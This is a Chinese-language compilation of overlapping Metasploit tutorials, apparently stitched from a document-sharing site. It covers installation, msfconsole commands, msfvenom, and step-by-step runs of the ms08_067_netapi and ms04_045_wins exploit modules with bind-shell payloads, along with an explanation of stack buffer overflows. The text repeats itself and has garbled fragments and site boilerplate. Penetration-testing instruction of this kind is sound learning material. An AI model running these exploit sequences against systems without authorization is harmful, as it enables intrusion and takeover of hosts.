=.=#Termux使⽤apt包管理器,执⾏以下命令更新apt-get update && apt-get upgrade -y && apt dist-upgrade -y接下来的安装Metasploit和上述linux平台安装相同2.使⽤Metasploit进⾏渗透测试Terminal下msf常⽤命令简介msfdb init msf数据库初始化apt install metasploit framework msf更新msfVENOM 多平台攻击载荷⽣成器msf-nasm_shell 将汇编指令转换成为对应的16进制机器码msfconsole 打开msf终端msf终端下常⽤命令简介db_status 查看数msf据库连接状态,连接数据库能够优化搜索等过程db_rebuild_cache 重建缓存,将模块等索引重新存⼊数据库db_nmap 调⽤nmap扫描,并将扫描结果存⼊数据库help [db_connect] 显⽰命令的帮助信息search [module] 搜索含有关键字的模块use [module] 选择使⽤⼀个模块(以ms17_010永恒之蓝为例)show payload 显⽰该模块⽀持的payloadshow options 显⽰该模块需要设置的参数(其中required为no的表⽰不是必须的参数)info 如果觉得show命令显⽰的不够完整可以直接输⼊info查看详细详细set [opt] 使⽤模块后,设置模块所需要的参数的值(对应使⽤unset取消设置的值)setg [opt] 设置全局参数,对于ip之类的参数可以设置为全局,当切换模块后就不需要再次设置ip参数(对应使⽤unsetg取消设置)back 返回上级状态exploit/run 两个命令都表⽰运⾏攻击模块sessions 查看当前连接的会话3.使⽤msfvenom⽣成⽊马⽂件t关于payload的选择,出于防⽕墙等多种原因,⽬标主机上可能会限制外⽹对内⽹⼀些端⼝的访问,甚⾄是只开放⼀些端⼝然后关闭其他所有端⼝。
Metasploit详解详细图文教程
Metasploit详解详细图文教程1. 一、metaspl oit简介Metaspl oit是一款开源的安全漏洞检测工具,同时Metas ploit是免费的工具,因此安全工作人员常用Met asploi t工具来检测系统的安全性。
Metaspl oit Framewo rk (MSF) 在2003年以开放源码方式发布,是可以自由获取的开发框架。
它是一个强大的开源平台,供开发,测试和使用恶意代码,这个环境为渗透测试、shellco de 编写和漏洞研究提供了一个可靠平台。
这种可以扩展的模型将负载控制(payload)、编码器(encode)、无操作生成器(nops)和漏洞整合在一起,使 Metaspl oit Framewo rk 成为一种研究高危漏洞的途径。
它集成了各平台上常见的溢出漏洞和流行的 shellco de ,并且不断更新。
目前的版本收集了数百个实用的溢出攻击程序及一些辅助工具,让人们使用简单的方法完成安全漏洞检测,即使一个不懂安全的人也可以轻松的使用它。
当然,它并不只是一个简单的收集工具,提供了所有的类和方法,让开发人员使用这些代码方便快速的进行二次开发。
其核心中一小部分由汇编和C语言实现,其余由ruby实现。
不建议修改汇编和C语言部分。
1. 二、搭建metas ploit环境Windows环境下安装。
从官方网站http://www.metaspl /下载windo ws版本的安装版,直接安装即可。
安装的版本是3.5.1。
安装时需要注意以下两点:1. 在安装的时候要关闭杀毒软件。
否则的话会导致杀毒软件和m etaspl oit冲突,导致安装失败。
2. 在控制面版——区域和语言选项——选择英文(美国)——高级选项卡中选择英文(美国)。
Metasploit(MSF)渗透测试框架使用教程及基本命令
Metasploit(MSF)渗透测试框架使用教程及基本命令使用Metasploit进行渗透测试需要一定的技术知识和经验。
以下是一些基本的Metasploit命令和使用教程,供初学者参考。
1. 启动Metasploit:在终端中输入"msfconsole",然后按回车键。
这将启动Metasploit的控制台界面。
2. 更新Metasploit:在控制台中输入"msfupdate",然后按回车键。
这将更新Metasploit的模块和资源。
3. 漏洞:使用"search"命令可以Metasploit框架中的漏洞模块。
例如,输入"search windows"将显示与Windows系统相关的漏洞模块。
4. 选择漏洞模块:使用"use"命令可以选择要使用的漏洞模块。
例如,输入"use exploit/windows/smb/ms08_067_netapi"将选择MS08-067漏洞模块。
5. 设置目标主机:使用"set"命令可以设置目标主机的IP地址或域名。
例如,输入"set RHOST 192.168.0.1"将设置目标主机的IP地址为192.168.0.16. 设置监听主机:使用"set"命令可以设置监听主机的IP地址。
例如,输入"set LHOST 192.168.0.2"将设置监听主机的IP地址为192.168.0.27. 运行攻击:使用"exploit"命令可以运行攻击。
例如,输入"exploit"将开始运行所选的漏洞模块对目标主机进行攻击。
8. 使用Meterpreter会话:如果攻击成功,将建立一个Meterpreter会话。
可以使用一系列的命令和模块来在目标系统上执行各种操作。
Metasploit使用教程
Metasploit使用教程1. Metasploit简介这是一个免费,开源的工具包,分Linux/Unix版的和Windows版,考虑到大多数人都是使用的Windows系统,这里对Windows版的Metasploit使用方法说明一下,至于Linux/Unix下的使用方法和Windows下的大同小异,这里就不额外的说明了。
2. 下载与安装下载(/framework/download/) Metasploit v3.4.1的安装程序之后双击安装,傻瓜化的安装过程,这里就不多说了。
安装完成后可以看到桌面上有Metasploit Console的快捷方式,这个是命令行模式的控制台,图形界面控制台在开始—>程序—>Metasploit 3—>Metasploit Web下,下面我们看一下如何使用。
3. 命令行下使用运行Metasploit Console的快捷方式后首先看到的是Metasploit欢迎界面,我们输入“?”得到在线帮助(如图1所示):图1可以看到里面有很多的命令,下面我将最重要的几个做简单解释:“?”:得到帮助。
“cd”:更换当前的工作目录。
“exit”:退出。
“help”:得到帮助。
“info”: 显示当前程序的信息。
“quit”:推出程序。
“reload”:载入Exploit和payloads。
“save”:保存当前设置“setg”:设置一个环境变量。
“show”:显示可用的Exploit和payloads。
“use”:使用一个Exploit。
“version”:显示程序的版本。
为了展示您高超的技艺,可以学习一下命令的使用,呵呵;一般的测试通过图形界面来完成,还是比较方便的。
4. 图形界面下的使用方法,启动Metasploit Web,会自动关联浏览器打开控制台,此程序集成了众多的Exploit,所以我们要先了解一下程序中到底有那些溢出工具包,点击输入“Exploits”看有哪些可用的Exploit程序(如图2所示):图2显示溢出程序的程序名称和相应的简介。
Metasploit详解详细图文教程
Metasploit详解详细图文教程1. 一、metasploit简介Metasploit是一款开源的安全漏洞检测工具,同时Metasploit是免费的工具,因此安全工作人员常用Metasploit工具来检测系统的安全性。
Metasploit Framework (MSF) 在2003年以开放源码方式发布,是可以自由获取的开发框架。
它是一个强大的开源平台,供开发,测试和使用恶意代码,这个环境为渗透测试、shellcode 编写和漏洞研究提供了一个可靠平台。
这种可以扩展的模型将负载控制(payload)、编码器(encode)、无操作生成器(nops)和漏洞整合在一起,使Metasploit Framework 成为一种研究高危漏洞的途径。
它集成了各平台上常见的溢出漏洞和流行的shellcode ,并且不断更新。
目前的版本收集了数百个实用的溢出攻击程序及一些辅助工具,让人们使用简单的方法完成安全漏洞检测,即使一个不懂安全的人也可以轻松的使用它。
当然,它并不只是一个简单的收集工具,提供了所有的类和方法,让开发人员使用这些代码方便快速的进行二次开发。
其核心中一小部分由汇编和C语言实现,其余由ruby实现。
不建议修改汇编和C语言部分。
1. 二、搭建metasploit环境Windows环境下安装。
从官方网站/下载windows版本的安装版,直接安装即可。
安装的版本是3.5.1。
安装时需要注意以下两点:1. 在安装的时候要关闭杀毒软件。
否则的话会导致杀毒软件和metasploit冲突,导致安装失败。
2. 在控制面版——区域和语言选项——选择英文(美国)——高级选项卡中选择英文(美国)。
因为在安装的时候,会进行检测,如果属于非英文地区会导致安装失败。
如果安装有杀毒软件,会经常提示在metasploit的安装目录下检测到病毒或木马。
Linux下环境下安装。
官方网站提供了两种Linux下的安装方式,一种是打包好的metasploit安装包,如framework-3.5.1-linux-i686.run,里面包含了安装所需要的各种包,下载后直接在电脑上安装即可。
metasploit 渗透2003server教程
Metasploit 渗透未打补丁的windows 2003server 教程演示之前,我先介绍一下演示的环境配置:使用Vware10.0构建两个虚拟机,分别采用kali-linux和windows 2003 server sp3操作系统,宿主机操作系统是windows 7。
首先将windows 2003 server sp3 虚拟机作为被渗透的目标机,IP地址为192.168.1.103;kali-linux虚拟机作为攻击机,IP地址为192.168.1.2。
之所以选择kali-linux系统作为攻击机,是因为其本身就是黑客最常用攻击的平台,系统整合了许多用于攻击的程序。
Kali-linux系统界面如下图1所示。
靶机windows2003server sp3 系统如图2 所示。
图1目标主机的截图图2首先,在kali-linux系统终端运行:service postgresql start和service metasploit start 两个命令,其中前者是开启SQL数据库服务的命令,后者是运行metasploit渗透测试框架程序的命令。
如图3所示,表明服务运行成功。
接着在终端输入msfconsole命令,运行metasploit 命令行程序,程序运行成功。
如图4所示。
开启服务图3运行msfconsole图4由于windows 2003 server 是微软应用最广泛的企业级操作系统之一,这次我们针对其netapi32.dll漏洞进行渗透。
至于为什么会针对此漏洞进行渗透,是因为通过前期大量的扫描获得了主机存在这个漏洞信息,这些工作不在此次演示范围,在此忽略。
第二步,运行search netapi 命令搜索netapi,在metasploit框架中列出所有与netapi相关的漏洞利用代码。
如图5所示。
图5从列出的结果上看,最后一个漏洞利用代码的评级为great,所以优先使用该漏洞利用代码。
输入命令:use exploit/windows/smb/ms08_067_netapi,如图6所示。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
Metasploit详解详细图文教程1. 一、metasploit简介Metasploit是一款开源的安全漏洞检测工具,同时Metasploit是免费的工具,因此安全工作人员常用Metasploit工具来检测系统的安全性。
Metasploit Framework (MSF) 在2003年以开放源码方式发布,是可以自由获取的开发框架。
它是一个强大的开源平台,供开发,测试和使用恶意代码,这个环境为渗透测试、shellcode 编写和漏洞研究提供了一个可靠平台。
这种可以扩展的模型将负载控制(payload)、编码器(encode)、无操作生成器(nops)和漏洞整合在一起,使Metasploit Framework 成为一种研究高危漏洞的途径。
它集成了各平台上常见的溢出漏洞和流行的shellcode ,并且不断更新。
目前的版本收集了数百个实用的溢出攻击程序及一些辅助工具,让人们使用简单的方法完成安全漏洞检测,即使一个不懂安全的人也可以轻松的使用它。
当然,它并不只是一个简单的收集工具,提供了所有的类和方法,让开发人员使用这些代码方便快速的进行二次开发。
其核心中一小部分由汇编和C语言实现,其余由ruby实现。
不建议修改汇编和C语言部分。
1. 二、搭建metasploit环境Windows环境下安装。
从官方网站/下载windows版本的安装版,直接安装即可。
安装的版本是3.5.1。
安装时需要注意以下两点:1. 在安装的时候要关闭杀毒软件。
否则的话会导致杀毒软件和metasploit冲突,导致安装失败。
2. 在控制面版——区域和语言选项——选择英文(美国)——高级选项卡中选择英文(美国)。
因为在安装的时候,会进行检测,如果属于非英文地区会导致安装失败。
如果安装有杀毒软件,会经常提示在metasploit的安装目录下检测到病毒或木马。
Linux下环境下安装。
官方网站提供了两种Linux下的安装方式,一种是打包好的metasploit安装包,如framework-3.5.1-linux-i686.run,里面包含了安装所需要的各种包,下载后直接在电脑上安装即可。
安装的时候需要具有root权限。
如果装有杀毒软件,在安装的时候需要关闭杀毒软件。
另一种是源码包方式,下载到本机后自己安装。
需要事先安装各种所信赖的包,安装后需要进行一定的配置,较为麻烦。
本例使用了源码包安装方式,因为之前安装了postsql,在使用framework-3.5.1-linux-i686.run安装时会报错已经安装好了postsql数据库等。
使用windows下的metasploit时,学习到一定阶段后,感觉有些东西搞不明白,就安装了Linux版本下的metasploit来学习。
1. 三、metasploit的使用Metasploit目前提供了三种用户使用接口,一个是GUI模式,另一个是console模式,第三种是CLI(命令行)模式。
原来还提供一种WEB模式,目前已经不再支持。
目前这三种模式各有优缺点,建议在MSF console模式中使用。
在console中几乎可以使用MSF所提供的所有功能,还可以在console中执行一些其它的外部命令,如ping。
Windows下GUI启动方式。
从开始菜单——Metasploit Framework——Metaspliit GUI即可。
,如下图所示:图1:metasploit GUI启动方式其GUI模式启动后界面如图2所示:图2:metasploit GUI启动后界面Windows下console模式的启动方式与GUI方式类似,启动后界面如图3所示:图3:metasploit console启动后界面Metasploit的使用较为简单,了解其基本命令即可。
下面以console的使用方式为例说明如何使用:输入help或?可查看帮助信息。
如图4所示图4:help下面以exploit中的ms04_045_wins为例进行说明。
1 show exploits 如图5所示:图5:show exploits2 info exploit/windows/wins/ms04_045_wins 查看其描述信息。
如图6所示:图6:info3 use exploit/windows/wins/ms04_045_wins 使用此exploit。
如图7所示:图7:use4 show options 查看相应的选项,如图8所示图8:show options5 set RHOST 192.168.1.200 设置目标6 set RPORT 7777 设置端口7 set PAYLOAD generic/shell_bind_tcp 设置使用的shellcode8 exploit 执行攻击对于上面的步骤,有些并不是必须,比如第2步。
GUI界面的使用方法与其类似,并且更加简单,但有些功能可能无法使用。
在Linux上使用时,在终端上输入msfconsole即可启动终端模式。
输入msfgui即可启动GUI 模式。
使用方式与windows上类似。
1. 四、Metasploit攻击方法分类使用的版本共有635种溢出(exploit)模块,314种辅助(auxiliary)模块,215种加载(payload)模块,27种编码(encoder),8种nops。
exploits总的来说共分为两类溢出(exploit)攻击方法,即主动溢出和被动溢出。
主动溢出是针对目标主机的漏洞主动的进行攻击以获得控制权限,被动溢出是针对目标主机被动的监听然后获得相应的操作。
在所有的exploit中,针对windows平台的最多,比其它所有平台的总和还要多。
缓冲区溢出是指当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量溢出的数据覆盖在合法数据上,理想的情况是程序检查数据长度并不允许输入超过缓冲区长度的字符,但是绝大多数程序都会假设数据长度总是与所分配的储存空间相匹配,这就为缓冲区溢出埋下隐患.操作系统所使用的缓冲区又被称为"堆栈". 在各个操作进程之间,指令会被临时储存在"堆栈"当中,"堆栈"也会出现缓冲区溢出。
缓冲区溢出是一种非常普遍、非常危险的漏洞,在各种操作系统、应用程序中广泛存在。
利用缓冲区溢出可民导致程序运行失败、系统死机、重新启动等后,也可以利用其获得非授权指令,甚至系统特权,进而进行各种非法的操作。
在当前网络与分布式系统安全中,被广泛利用的50%以上都是缓冲区溢出。
缓冲区溢出中,最为危险的是堆栈溢出,因为入侵者可以利用堆栈溢出,在函数返回时改变返回程序的地址,让其跳转到任意地址,带来的危害一种是程序崩溃导致拒绝服务,另外一种就是跳转并且执行一段恶意代码,比如得到shell,然后为所欲为。
通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,造成程序崩溃或使程序转而执行其它指令,以达到攻击的目的。
造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。
随便往缓冲区中填东西造成它溢出一般只会出现"分段错误"(Segmentation fault),而不能达到攻击的目的。
最常见的手段是通过制造缓冲区溢出使程序运行一个用户shell,再通过shell 执行其它命令。
如果该程序属于root且有suid权限的话,攻击者就获得了一个有root权限的shell,可以对系统进行任意操作了。
缓冲区溢出攻击之所以成为一种常见安全攻击手段其原因在于缓冲区溢出漏洞太普遍了,并且易于实现。
而且,缓冲区溢出成为远程攻击的主要手段其原因在于缓冲区溢出漏洞给予了攻击者他所想要的一切:植入并且执行攻击代码。
被植入的攻击代码以一定的权限运行有缓冲区溢出漏洞的程序,从而得到被攻击主机的控制权。
缓冲区溢出攻击的目的在于扰乱具有某些特权运行的程序的功能,这样可以使得攻击者取得程序的控制权,如果该程序具有足够的权限,那么整个主机就被控制了。
一般而言,攻击者攻击root 程序,然后执行类似"exec(sh)"的执行代码来获得root权限的shell。
为了达到这个目的,攻击者必须达到如下的两个目标:1. 在程序的地址空间里安排适当的代码。
2. 通过适当的初始化寄存器和内存,让程序跳转到入侵者安排的地址空间执行。
每当一个函数调用发生时,调用者会在堆栈中留下一个活动纪录,它包含了函数结束时返回的地址。
攻击者通过溢出堆栈中的自动变量,使返回地址指向攻击代码。
通过改变程序的返回地址,当函数调用结束时,程序就跳转到攻击者设定的地址,而不是原先的地址。
这类的缓冲区溢出被称为堆栈溢出攻击(Stack Smashing Attack),是目前最常用的缓冲区溢出攻击方式。
函数指针可以用来定位任何地址空间。
例如:"void (* foo)()"声明了一个返回值为void的函数指针变量foo。
所以攻击者只需在任何空间内的函数指针附近找到一个能够溢出的缓冲区,然后溢出这个缓冲区来改变函数指针。
在某一时刻,当程序通过函数指针调用函数时,程序的流程就按攻击者的意图实现了。
它的一个攻击范例就是在Linux系统下的superprobe程序。
在C语言中包含了一个简单的检验/恢复系统,称为setjmp/longjmp。
意思是在检验点设定"setjmp(buffer)",用"longjmp(buffer)"来恢复检验点。
然而,如果攻击者能够进入缓冲区的空间,那么"longjmp(buffer)"实际上是跳转到攻击者的代码。
象函数指针一样,longjmp缓冲区能够指向任何地方,所以攻击者所要做的就是找到一个可供溢出的缓冲区。
在metasploit中溢出模块(Exploit)共分为13种,分别是:ais、bsdi、dialup、freebsd、hpux、irix、linux、multi、netware、osx、solaris、unix、windows。
其中windows下面的最多。
辅助(Auxiliary)模块共分为13种,分别是admin、client、crawler、dos、fuzzers、gather、pdf、scanner、server、sniffer、spoof、sqli、voip。
加载(payload)模块共分为13种,分别是aix、bsd、bsdi、cmd、generic、java、linux、netware、osx、php、solaris、tty、windows。
1. 五、Metasploit架构Metasploit Framework并不止具有exploit(溢出)收集功能,它使你专注于创建自己的溢出模块或者二次开发。